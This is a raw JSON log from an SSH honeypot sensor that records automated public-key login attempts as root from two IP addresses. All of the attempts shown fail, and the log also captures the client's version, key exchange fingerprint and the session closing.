{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:e9:db:19:1c:1c:ac:c1:10:30:dc:ae:bd:39:45:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrh2idLolnSP5arnjqXZM3x96z36Eth0WGdLv1C5Nz/zPGhIyImWDLaZ0+YDmTHHkSsctzSgZlYzWDd2aZSxOnNWuaRBF5M0h2hlwZcvMgDGNZMwlpGa4kPizjZPEMeRhDMxrnMLTLVf1Vl4/YyY24WqBKxbgSP1X76UpA8ssiVh2quqL9Eta19YeP4adh25Eg+HMOGfbiZaSYH4uR0s5BaJKKcNYYKRxm7AZ2TYIFJ2bMx8bAEskDp5I1WMnUVOY2OzF87t9ChnwoTRPJUX4bLsr0azQFHtQESeKilZMw7UDlpHgKO1zFqFuirzOmzMZ+Zng1j0gP8cPo4OKcDJMV","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 71:e9:db:19:1c:1c:ac:c1:10:30:dc:ae:bd:39:45:3d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:41.797343Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:e9:db:19:1c:1c:ac:c1:10:30:dc:ae:bd:39:45:3d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCrh2idLolnSP5arnjqXZM3x96z36Eth0WGdLv1C5Nz/zPGhIyImWDLaZ0+YDmTHHkSsctzSgZlYzWDd2aZSxOnNWuaRBF5M0h2hlwZcvMgDGNZMwlpGa4kPizjZPEMeRhDMxrnMLTLVf1Vl4/YyY24WqBKxbgSP1X76UpA8ssiVh2quqL9Eta19YeP4adh25Eg+HMOGfbiZaSYH4uR0s5BaJKKcNYYKRxm7AZ2TYIFJ2bMx8bAEskDp5I1WMnUVOY2OzF87t9ChnwoTRPJUX4bLsr0azQFHtQESeKilZMw7UDlpHgKO1zFqFuirzOmzMZ+Zng1j0gP8cPo4OKcDJMV","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:41.801574Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cb:1d:b8:5c:37:9f:74:6d:5f:7e:57:99:cc:97:be:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCubwL5h/JPk3ItoIo6UFhhT4u9tKWXWmnSrT1QI9B7ssWJTdLuYcTnlvfI++Q28/UeI7ArBW/E380NRWBURmDa8zqKAYYi4pVedXOS1vsS7RRmmGBQF9ygmVYRtNjkO4CE65EB+VZ0fDBEVU2LFyvohjtR3E1AU4CU2xCXsfHTCKdUppg8dZtj9pwJrqrtvocbC+p1b6HbhLM3S06AvYyjWEpyKxx9vgsnK1/5o0TcfGrTu5yM/hB05soiK5MgiblUIIhlmTNrG4LUN9aIcqEsmQAlYx4AhlYLG+oHFIAZHktlEtP1H45E+jOAVlVbb6fuxOasJnlGuvDIQ2m1H0O9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cb:1d:b8:5c:37:9f:74:6d:5f:7e:57:99:cc:97:be:d3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:41.920293Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cb:1d:b8:5c:37:9f:74:6d:5f:7e:57:99:cc:97:be:d3","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCubwL5h/JPk3ItoIo6UFhhT4u9tKWXWmnSrT1QI9B7ssWJTdLuYcTnlvfI++Q28/UeI7ArBW/E380NRWBURmDa8zqKAYYi4pVedXOS1vsS7RRmmGBQF9ygmVYRtNjkO4CE65EB+VZ0fDBEVU2LFyvohjtR3E1AU4CU2xCXsfHTCKdUppg8dZtj9pwJrqrtvocbC+p1b6HbhLM3S06AvYyjWEpyKxx9vgsnK1/5o0TcfGrTu5yM/hB05soiK5MgiblUIIhlmTNrG4LUN9aIcqEsmQAlYx4AhlYLG+oHFIAZHktlEtP1H45E+jOAVlVbb6fuxOasJnlGuvDIQ2m1H0O9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:41.924011Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"89:1b:e5:b3:21:3b:2d:61:c9:82:7b:e3:c7:53:97:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc0hZOARzO29jlq06k0PAxTOwDVjf9ctJe4dlO2c86+TCfFsudaEUdX71Fx15UaQ6Scqo9OIGMRUTM1rCxH1w0+3gD0XcG8ZdIYuTeitiOwfuryj4/njNHcro+jBJWZ5ChxdKEstQ+oTbSMn2sP0ui8Jx2MVrflsuPmftH+eqiQq17wttXpDZWJWWPSH+FLA/QXhDwNrDOca843JeYtbcvvPFekFqtOVG7+bviPsdIt1I+3iGoFO00joeDLWxTauMFrbMV07q3TSgmvO0MgtZkY1K5e8BPG64mGF1/7uU7NHqN4jWqwJnXS5bLUHdMccx5lo5WmnBIPMTaUyYFueCP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 89:1b:e5:b3:21:3b:2d:61:c9:82:7b:e3:c7:53:97:29","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:42.035991Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"89:1b:e5:b3:21:3b:2d:61:c9:82:7b:e3:c7:53:97:29","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc0hZOARzO29jlq06k0PAxTOwDVjf9ctJe4dlO2c86+TCfFsudaEUdX71Fx15UaQ6Scqo9OIGMRUTM1rCxH1w0+3gD0XcG8ZdIYuTeitiOwfuryj4/njNHcro+jBJWZ5ChxdKEstQ+oTbSMn2sP0ui8Jx2MVrflsuPmftH+eqiQq17wttXpDZWJWWPSH+FLA/QXhDwNrDOca843JeYtbcvvPFekFqtOVG7+bviPsdIt1I+3iGoFO00joeDLWxTauMFrbMV07q3TSgmvO0MgtZkY1K5e8BPG64mGF1/7uU7NHqN4jWqwJnXS5bLUHdMccx5lo5WmnBIPMTaUyYFueCP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:42.039590Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:d5:d6:9a:42:d5:57:68:45:16:a4:4b:3b:5c:7e:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwWIYwjC2ox/M7P44NRfiCz5nrtmAgJaeugbnBcL4UbYrZ0juIP94oxoW528fJF5dN9xFwMGts3Dq0HeEWr/QrFqphEwCSsp5h3CM/INpB7SYA/im1AFCYNWJjdvFNcMZ5qJODjL8erHiJe43wO3qC+hizStGPU93zrGuFJhj1CE39UvYBMnWE4I0o6hoHXhgTdifJOZH4qYLakpt6tnLDe8l8EBCWpeIqzekEOetGdfcfMprmAAQQr2YtdMyWs8pvqobrkULYTNrOF1aQIyy3K788/f3lw8fDez6QX217r1ffWsLjvi3oCEImhmyXTtmNzwxiKAICqKMa/xS2QZT7KfTCrKb9pYffaUne/JMDgV4AxdkaWmmbE8iFV4uqaHg7q8Y/PtRfXx7GG7cYOkgAofbnfe3NC/JVcZw9tTpBGg2J5qRtR6Jwr2vLQ+PoTSuEHBl8DhZ/AaeothtnD2sLj/lUvZfLxYzc8LUU7pmShVzR3LxWVKhBL/zwiGITVKk=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:d5:d6:9a:42:d5:57:68:45:16:a4:4b:3b:5c:7e:0e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:42.150757Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:d5:d6:9a:42:d5:57:68:45:16:a4:4b:3b:5c:7e:0e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCwWIYwjC2ox/M7P44NRfiCz5nrtmAgJaeugbnBcL4UbYrZ0juIP94oxoW528fJF5dN9xFwMGts3Dq0HeEWr/QrFqphEwCSsp5h3CM/INpB7SYA/im1AFCYNWJjdvFNcMZ5qJODjL8erHiJe43wO3qC+hizStGPU93zrGuFJhj1CE39UvYBMnWE4I0o6hoHXhgTdifJOZH4qYLakpt6tnLDe8l8EBCWpeIqzekEOetGdfcfMprmAAQQr2YtdMyWs8pvqobrkULYTNrOF1aQIyy3K788/f3lw8fDez6QX217r1ffWsLjvi3oCEImhmyXTtmNzwxiKAICqKMa/xS2QZT7KfTCrKb9pYffaUne/JMDgV4AxdkaWmmbE8iFV4uqaHg7q8Y/PtRfXx7GG7cYOkgAofbnfe3NC/JVcZw9tTpBGg2J5qRtR6Jwr2vLQ+PoTSuEHBl8DhZ/AaeothtnD2sLj/lUvZfLxYzc8LUU7pmShVzR3LxWVKhBL/zwiGITVKk=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:42.154521Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuwoYOdZqvkLn5dOz/tO/X0HSokocfrY5ZkMcpmHKzA2ou1/H6IseTdqTZMCVWs+XJsYWQ1em7VB7LqkI5hkyfbYMlPID8rKCJAU+yvLvRaI2HRLGqrMJ+osrPfyGCO/E5FS49kWnuGnNLIKOuLhgLEM3ztKPNcsQUGLsnMXbnv4nIQX2HOOpMpgwreA6HmkxrmMYZURvhm8T0blvMKeHpHm4UzhbzVacHohk6L3SF/eU8ph1+EouuE+tiZL9xf+Y8uQ70NGx6TqHvaQGPvE+zJe6mNt1PNWn3AJufX/FihcAnwQ9ivxyIXeryfUoRe6cx9snvL//bKaGJ5vTjlc5bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:42.265738Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"83:3e:5f:5c:b2:dd:c8:72:d6:bb:49:50:8e:30:f3:34","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuwoYOdZqvkLn5dOz/tO/X0HSokocfrY5ZkMcpmHKzA2ou1/H6IseTdqTZMCVWs+XJsYWQ1em7VB7LqkI5hkyfbYMlPID8rKCJAU+yvLvRaI2HRLGqrMJ+osrPfyGCO/E5FS49kWnuGnNLIKOuLhgLEM3ztKPNcsQUGLsnMXbnv4nIQX2HOOpMpgwreA6HmkxrmMYZURvhm8T0blvMKeHpHm4UzhbzVacHohk6L3SF/eU8ph1+EouuE+tiZL9xf+Y8uQ70NGx6TqHvaQGPvE+zJe6mNt1PNWn3AJufX/FihcAnwQ9ivxyIXeryfUoRe6cx9snvL//bKaGJ5vTjlc5bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:42.269912Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:38:42.381080Z","src_ip":"46.62.239.90","session":"a70296c64315","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.28.37.194","src_port":59744,"dst_ip":"10.17.0.5","dst_port":22,"session":"b04de2be4fef","protocol":"ssh","message":"New connection: 185.28.37.194:59744 (10.17.0.5:22) [session: b04de2be4fef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:07.393188Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:07.398584Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:07.488522Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a9:96:50:c7:11:13:5a:ef:0b:de:8c:59:64:22:a7:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5eV7151kpF3oRHQay46FrNC8KoXhO5Vk6YHHMjlfqAMS9HsSQUbn35EKNlHijxaCwQIPpsaZ+JjPBw7nDXuBUx1JBRFT0PFX18D3GAvvT0V6O8t75/h/DupAoCBfYt6azSBaIdClah33/ZgfbEqesnw68ajpdaFrlDhnr7jsFHKALFUpF3D7WJYaxUbbj5Gul5at/Mv9DPAWD33ukuS0+FGFG4dN1PgYqsMb8JW2+kXKErnQ6sjHrkhoL1Nj6fA82XZDBiRPOEEIx4gFzuVsa3mEbnOG+BwBmQhKz1PL8LTj7aW5+lpcDNrJ8kOAysRq0W+NJnJwjyc//hCmJDbAx77PPzIFaPljrlvm3lhQdPLt3+LgjhJjtx/idtc0z1i80gbW1Q9+V9WWqSGd3myvfQh8KM3LjTwdfkHGWcy2JcNrybpwKL/Y4hRE0QNagThoEr8hlWtrwbY1ugBndxnAnrWIFqgj4MuHHCA15ZAt6ErnUzv1J5viOjn+AaNR9Z/M=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a9:96:50:c7:11:13:5a:ef:0b:de:8c:59:64:22:a7:60","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:07.879731Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:96:50:c7:11:13:5a:ef:0b:de:8c:59:64:22:a7:60","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5eV7151kpF3oRHQay46FrNC8KoXhO5Vk6YHHMjlfqAMS9HsSQUbn35EKNlHijxaCwQIPpsaZ+JjPBw7nDXuBUx1JBRFT0PFX18D3GAvvT0V6O8t75/h/DupAoCBfYt6azSBaIdClah33/ZgfbEqesnw68ajpdaFrlDhnr7jsFHKALFUpF3D7WJYaxUbbj5Gul5at/Mv9DPAWD33ukuS0+FGFG4dN1PgYqsMb8JW2+kXKErnQ6sjHrkhoL1Nj6fA82XZDBiRPOEEIx4gFzuVsa3mEbnOG+BwBmQhKz1PL8LTj7aW5+lpcDNrJ8kOAysRq0W+NJnJwjyc//hCmJDbAx77PPzIFaPljrlvm3lhQdPLt3+LgjhJjtx/idtc0z1i80gbW1Q9+V9WWqSGd3myvfQh8KM3LjTwdfkHGWcy2JcNrybpwKL/Y4hRE0QNagThoEr8hlWtrwbY1ugBndxnAnrWIFqgj4MuHHCA15ZAt6ErnUzv1J5viOjn+AaNR9Z/M=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:07.883739Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:05:3b:cf:5f:a8:ac:10:d5:03:82:92:4f:91:9f:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Yu2zHoD9i1HyGoU1k4Jb7jqa7TM3+EjjrPLMZoelOMJa7/ZiPz1ocb00rkh0boauOaSnwA/EIwmZSJBj13tFS9jYN1GenxdQSuSo+DqfvDYiM70Q7WFhAHqF9+7yZnlMw2dOmVjPEsB1AQ6PZhSMpO0zeJDcfYVcGGjxJ10vxxSqCXNavK/iU7H7IkGDNA1UeC55WVk+1G+qtsehCRPzr5udfpCGc3RxiMLJCAk3PSpiv8MnIekXpIZjwu5kdjeFs215ic7hwfTXX3DbN2AZJquwwl7K0ZCK0UWHm7wY8aXf1pu8y4lNOqhLd/kSdvYr89BvDag6qaKXA/t9Kdin","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:05:3b:cf:5f:a8:ac:10:d5:03:82:92:4f:91:9f:8d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:07.967501Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:05:3b:cf:5f:a8:ac:10:d5:03:82:92:4f:91:9f:8d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5Yu2zHoD9i1HyGoU1k4Jb7jqa7TM3+EjjrPLMZoelOMJa7/ZiPz1ocb00rkh0boauOaSnwA/EIwmZSJBj13tFS9jYN1GenxdQSuSo+DqfvDYiM70Q7WFhAHqF9+7yZnlMw2dOmVjPEsB1AQ6PZhSMpO0zeJDcfYVcGGjxJ10vxxSqCXNavK/iU7H7IkGDNA1UeC55WVk+1G+qtsehCRPzr5udfpCGc3RxiMLJCAk3PSpiv8MnIekXpIZjwu5kdjeFs215ic7hwfTXX3DbN2AZJquwwl7K0ZCK0UWHm7wY8aXf1pu8y4lNOqhLd/kSdvYr89BvDag6qaKXA/t9Kdin","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:07.970956Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:7c:2e:24:77:d9:af:5c:aa:8e:30:2e:93:00:9f:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyzjhyGZoqMEmu3xmBvNvJeYhLzjOQXe3Gr7XZXIoId/gty2QNWGhuE8JhO3TchHg5I1LYqoywKO0+gn6E7A6zYcrcz8g3GUBaApf5+wyFWBdc4SkDv9p2QpO0sPOXbjEk9QOVMtJrGVFgDVubOa/IO50WWfFUCL784YC1ChQdcIfsXoPs/PUhf5G/gFc9cyV+sSHuThSORWdQKb5xvnfFNf4mdPNd/KYj3+eL2hsieEr+nLulGXvARBIpqN5WBedDrOUcznEVm7JUM7q0szbzY5yVXN2e74ULoxotoFNaQeWjQ0a7nVo2FdasirFUNSk7SSDU36FFMe1Vtdhq6eQFQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:7c:2e:24:77:d9:af:5c:aa:8e:30:2e:93:00:9f:19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:08.054920Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:7c:2e:24:77:d9:af:5c:aa:8e:30:2e:93:00:9f:19","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyzjhyGZoqMEmu3xmBvNvJeYhLzjOQXe3Gr7XZXIoId/gty2QNWGhuE8JhO3TchHg5I1LYqoywKO0+gn6E7A6zYcrcz8g3GUBaApf5+wyFWBdc4SkDv9p2QpO0sPOXbjEk9QOVMtJrGVFgDVubOa/IO50WWfFUCL784YC1ChQdcIfsXoPs/PUhf5G/gFc9cyV+sSHuThSORWdQKb5xvnfFNf4mdPNd/KYj3+eL2hsieEr+nLulGXvARBIpqN5WBedDrOUcznEVm7JUM7q0szbzY5yVXN2e74ULoxotoFNaQeWjQ0a7nVo2FdasirFUNSk7SSDU36FFMe1Vtdhq6eQFQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:08.059428Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0c:3f:0c:27:27:a4:9b:95:26:9f:9f:c0:c2:e2:43:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUe12klb+wSBfkWRnlxzAZ3r2s+xRYzHE/mDABjiDpgidEPlmCCd7dNQDOQx4XH9rwmNVz6hwHHw45eGzDZtqHz3ijNJqBvxa9JigSbsIyJkdUTsH1uPMrzw9jWhyqlB96MvOMQcNxfkgrNVmhC/PgQXroeMLfc5Vxn+CxjCTOA34dJX2w/HU+jfjjYBTYRSRhPttV2DGGvu9IV55J5EG/k8doKAA2urph/svx3Gt6qS0d+kMXS08j1l74ss55ivolEcCRklUx4BUz/kqfbnnFHV3rUr/q9IMe9GGS2vXbYosemR9qUalC+kXnENNQyvXQEdsaUPl9L76fXl4iL1Grp29xaOoLLaUu3vl1rOg9aQzZ61voIP31EdZu8VHDk2eqNMHTXaPgk4DxaS6Ypy5K/8LW3Y9kD4RMMZu9kISVSOkZDeEeie1moWRiWtIvkFWeWjAI1PRC9zzgOZgjihTZecsS0CPrWk/SXX03bmK0AFhyE2KG7QUfIj36I1l5qVdYSdY+msI2VEyL8sgNOcaMkg2Bxeefdre4SKezBYuN4DVAjiSQy+N84hMSRDJO2tISTUUl41co8CHvm0i4DpWIZat96Uj1FphyYQE51LpJwShN1aD53HsnGTabS0r3rhGeVClSo04DasAl1wOfqYt8sEq/FMkQAyGDzr8e6YMc+Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 0c:3f:0c:27:27:a4:9b:95:26:9f:9f:c0:c2:e2:43:48","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:08.144042Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0c:3f:0c:27:27:a4:9b:95:26:9f:9f:c0:c2:e2:43:48","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDUe12klb+wSBfkWRnlxzAZ3r2s+xRYzHE/mDABjiDpgidEPlmCCd7dNQDOQx4XH9rwmNVz6hwHHw45eGzDZtqHz3ijNJqBvxa9JigSbsIyJkdUTsH1uPMrzw9jWhyqlB96MvOMQcNxfkgrNVmhC/PgQXroeMLfc5Vxn+CxjCTOA34dJX2w/HU+jfjjYBTYRSRhPttV2DGGvu9IV55J5EG/k8doKAA2urph/svx3Gt6qS0d+kMXS08j1l74ss55ivolEcCRklUx4BUz/kqfbnnFHV3rUr/q9IMe9GGS2vXbYosemR9qUalC+kXnENNQyvXQEdsaUPl9L76fXl4iL1Grp29xaOoLLaUu3vl1rOg9aQzZ61voIP31EdZu8VHDk2eqNMHTXaPgk4DxaS6Ypy5K/8LW3Y9kD4RMMZu9kISVSOkZDeEeie1moWRiWtIvkFWeWjAI1PRC9zzgOZgjihTZecsS0CPrWk/SXX03bmK0AFhyE2KG7QUfIj36I1l5qVdYSdY+msI2VEyL8sgNOcaMkg2Bxeefdre4SKezBYuN4DVAjiSQy+N84hMSRDJO2tISTUUl41co8CHvm0i4DpWIZat96Uj1FphyYQE51LpJwShN1aD53HsnGTabS0r3rhGeVClSo04DasAl1wOfqYt8sEq/FMkQAyGDzr8e6YMc+Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:08.148172Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:c3:d3:89:9f:5f:ba:b2:96:3e:1a:39:b4:e6:37:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDOd54LL3mkgpYQxPJr5dUNoikRTk32GHHN+LhB+z38KKFqnEFeggtjT94OK5GrB+JJwub19TskPCNIavYHy8kjr/GFvbMl629qd/GvCQA3IsBkn2BC1GBlIzgrt/jUwSyHhaq/L3b0lyecfuDuf7QiFNLnp0ruPlcgmK2pSBsP79NGUn7GhMNKJ0lNchKopQkdg72IEuuA9mufXd2sqL5Co/E2Ppa8KhwPiLp6Gzx5zHVp8GlU2KS5UQwtR5ht6tqEFYsE9Mp71aMmzSDnFE4aAr+FYYeMdLs0NTw4XjqoRP68Q5Chtrn4uirktMsFlE9npFUr/r8ZybLJ2U3RDYl6TXWKtkT42EGfpLOpkkEyaApQ2l36I0OxJBQXnvH5V2Z2WPXxxh40HOt1Gm5bcSbGn8UmgX8oVTbVwYFoPjXiJSo9fHWazHZxYUJ/LYds2pgW5yR7GHG5qqaBZk/e2WcopWLpJ0KKfXR/TVfBsB6SlQTQFW4ZhygHZcNqcHFr0e55Ye2Z55Y28LOqCiy2wIu9+8EXL8OqQX5ToCsFB/SJjBJ1BF8U3XRH73/MGSYfgS4dLtX0YO6Q3k51t5GnrN4nlgRajHsbXQBByVg9QecA5mfrjdvEw+bfmbdLWvP8yAXuKKJROeDkBGL0OBH6+dp4QmzBLZlm0i1oirJ+Exg+hQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:c3:d3:89:9f:5f:ba:b2:96:3e:1a:39:b4:e6:37:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:39:08.236618Z","src_ip":"185.28.37.194","session":"b04de2be4fef","protocol":"ssh"}
